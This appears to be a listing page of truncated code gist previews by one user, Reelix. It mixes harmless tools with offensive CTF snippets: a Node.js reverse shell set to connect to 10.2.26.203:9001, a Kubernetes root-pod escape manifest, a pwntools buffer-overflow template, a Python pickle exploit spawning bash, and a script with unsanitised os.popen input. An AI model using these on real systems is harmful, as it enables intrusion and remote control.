Reelix

static void Main(string[] args)
{
    Console.WriteLine("Input path to numerical ciphertext.");
    string path = Console.ReadLine();
    string input = File.ReadAllText(path);
    int[] intList = input.Split(' ').Select(int.Parse).ToArray();
    int intListLength = intList.Length;
    StringBuilder final = new StringBuilder();
    for (int n = 1; n < 100000; n++)
    {

Reelix

0.) Update: https://www.volatilityfoundation.org/releases

1.) General analysis (Mainly used to get Profiles)
- volatility.exe -f file.raw imageinfo

Eg: Suggested Profile(s) : Win7SP1x64, WinXPSP2x86, WinXPSP3x86

2.) List Processes
- volatility.exe -f file.raw --profile=ProfileFromAbove pslist

Reelix

apiVersion: v1
kind: Pod
metadata:
  name: rootpod
spec:
  containers:
  - name: rootpod
    image: nginx # Pull from an existing pod
    imagePullPolicy: IfNotPresent
    volumeMounts:

Reelix

from pwn import *

### Change These ###
file_name = "./file.elf"
offset_loc = 48 # Buffer Overflow Val -> cyclic_find(b'kaaalaaa', n=4) # Buffer Overflow Val = RBP
isremote = True # Local or SSH?

### Uncomment + Change if local ###
# libc = ELF(''/lib/x86_64-linux-gnu/libc-2.27.so') # gdb ./file -> break main -> run -> info proc map

Reelix

<?php
// File created by Reelix (HTB: Reelix)

// Enter your Host, username, password, database below.
$host = "localhost";
$dbuser = "dbusername";
$dbpass = "dbpassword";
$db = "";
$query = "";
if (isset($_GET["db"]))

Reelix

// Step 1
// Use the following Code - Change the HOST / PORT as you need
// Modified from: https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.2.26.203";
PORT="9001";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var client = new net.Socket();

Reelix

#!/bin/python3
import os, sys

# Argument
file = sys.argv[1]
print("Processing " + file)

filetype = os.popen('file ' + file).read()
print("Type: " + filetype)

Reelix

# Ref: https://davidhamann.de/2020/04/05/exploiting-python-pickle/
# Ref: https://frichetten.com/blog/escalating-deserialization-attacks-python/
# Note: Do not have a file in the directory named pickle.py or this will crash
import os
import pickle
import base64
class PickleSploit(object):
   def __reduce__(self):
      return (os.system, ('/bin/bash', ))
pickled = pickle.dumps(PickleSploit())

Reelix

/* Gist Embed - Dark Theme Styling - Thanks to MattD */
  
/* Body */
.gist-data tbody { background-color: Black; }

/* Line Numbers */
.gist-data tbody td:nth-of-type(1) {
  color: #2B91AF !important;
}

Reelix

internal class Program
    {
        private static void Main(string[] args)
        {
            // https://code.google.com/archive/p/torchtools/wikis/TorchlightFileSpec.wiki
            Console.Title = "Reelix's TL1 Save Game Viewer";
            byte[] fileBytes = File.ReadAllBytes(@"C:\Users\Reelix\AppData\Roaming\runic games\torchlight\save\0.SVT");

            // Remove first 4 - Unsure
            fileBytes = RemoveFirstBytes(fileBytes, 4);